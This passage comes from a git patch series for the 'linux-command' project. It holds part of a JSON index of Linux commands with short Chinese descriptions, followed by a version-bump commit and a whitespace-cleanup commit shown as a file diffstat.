好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"用来显示用户名称"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"在Linux系统中计算文件内容行号"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"用于删除目录栈中的记录"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录加入命令堆叠中"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"绝对路径方式显示用户当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"定义只读shell变量或函数"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"运程执行Linux系统下命令 "},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"将文件进行排序并输出"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令，命令返回退出状态"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"将文件以行为单位的反序输出"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"Linux下的归档使用工具，用来打包和备份"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"把数据重定向到给定文件和屏幕上"},"telint":{"n":"telint","p":"/telint","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"shell环境中测试条件表达式工具"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"指定在接收到信号后将要采取的动作"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"用来设置限制新建文件权限的掩码"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"显示Linux系统信息"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"报告或忽略文件中的重复行"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"显示当前登录系统的所有用户"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示目前登录系统的用户信息"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 420d6d2f2fc770ea96d71f10c6bef20355f83486 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 4 Jun 2019 13:40:28 +0800 Subject: [PATCH 0042/1019] released v1.2.8 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index e4b60a28cc0..cf6c0161fa4 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.2.7", + "version": "1.2.8", "description": "Linux Command", "main": "dist/data.json", "scripts": { From 10f0cc6a8e507f5013bf9c1d5a13543327344dbb Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 4 Jun 2019 21:03:44 +0800 Subject: [PATCH 0043/1019] Remove trailing white spaces. #112 --- command/ab.md | 6 ++-- command/accept.md | 6 ++-- command/alias.md | 8 +++--- command/apachectl.md | 4 +-- command/apropos.md | 8 +++--- command/apt-get.md | 8 +++--- command/apt-key.md | 6 ++-- command/apt-sortpkgs.md | 6 ++-- command/aptitude.md | 8 +++--- command/ar.md | 4 +-- command/arch.md | 4 +-- command/arj.md | 4 +-- command/arpd.md | 8 +++--- command/arping.md | 8 +++--- command/arptables.md | 4 +-- command/arpwatch.md | 4 +-- command/as.md | 6 ++-- command/at.md | 8 +++--- command/atq.md | 6 ++-- command/atrm.md | 8 +++--- command/awk.md | 54 ++++++++++++++++++------------------ command/axel.md | 8 +++--- command/badblocks.md | 10 +++---- command/basename.md | 8 +++--- command/batch.md | 8 +++--- command/bc.md | 8 +++--- command/bg.md | 6 ++-- command/bind.md | 6 ++-- command/blkid.md | 6 ++-- command/blockdev.md | 6 ++-- command/bmodinfo.md | 8 +++--- command/builtin.md | 6 ++-- command/bunzip2.md | 8 +++--- command/bye.md | 2 +- command/bzcat.md | 6 ++-- command/bzcmp.md | 4 +-- command/bzdiff.md | 4 +-- command/bzgrep.md | 4 +-- command/bzip2.md | 8 +++--- command/bzip2recover.md | 4 +-- command/bzless.md | 4 +-- command/bzmore.md | 4 +-- command/cal.md | 8 +++--- command/cancel.md | 6 ++-- command/cat.md | 8 +++--- command/cd.md | 6 ++-- command/cdrecord.md | 8 +++--- command/chage.md | 6 ++-- command/chattr.md | 6 ++-- command/chcon.md | 6 ++-- command/chfn.md | 8 +++--- command/chgrp.md | 8 +++--- command/chkconfig.md | 6 ++-- command/chmod.md | 8 +++--- command/chown.md | 8 +++--- command/chpasswd.md | 6 ++-- command/chroot.md | 8 +++--- command/chsh.md | 8 +++--- command/cksum.md | 8 +++--- command/clear.md | 4 +-- command/clock.md | 4 +-- command/clockdiff.md | 4 +-- command/cmp.md | 8 +++--- command/col.md | 4 +-- command/colrm.md | 4 +-- command/comm.md | 8 +++--- command/command.md | 6 ++-- command/compress.md | 8 +++--- command/consoletype.md | 4 +-- command/convertquota.md | 8 +++--- command/cp.md | 8 +++--- command/cpio.md | 6 ++-- command/crontab.md | 10 +++---- command/csplit.md | 8 +++--- command/cu.md | 4 +-- command/cupsdisable.md | 6 ++-- command/cupsenable.md | 6 ++-- command/date.md | 10 +++---- command/dd.md | 6 ++-- command/declare.md | 8 +++--- command/depmod.md | 6 ++-- command/df.md | 8 +++--- command/dhclient.md | 8 +++--- command/dhcpd.md | 4 +-- command/dhcrelay.md | 4 +-- command/diff.md | 8 +++--- command/diff3.md | 6 ++-- command/diffstat.md | 8 +++--- command/dig.md | 8 +++--- command/dircolors.md | 8 +++--- command/dirname.md | 6 ++-- command/dirs.md | 8 +++--- command/dmesg.md | 6 ++-- command/dmidecode.md | 6 ++-- command/dnf.md | 4 +-- command/dnsdomainname.md | 6 ++-- command/domainname.md | 8 +++--- command/dpkg-deb.md | 8 +++--- command/dpkg-divert.md | 8 +++--- command/dpkg-preconfigure.md | 8 +++--- command/dpkg-query.md | 8 +++--- command/dpkg-reconfigure.md | 8 +++--- 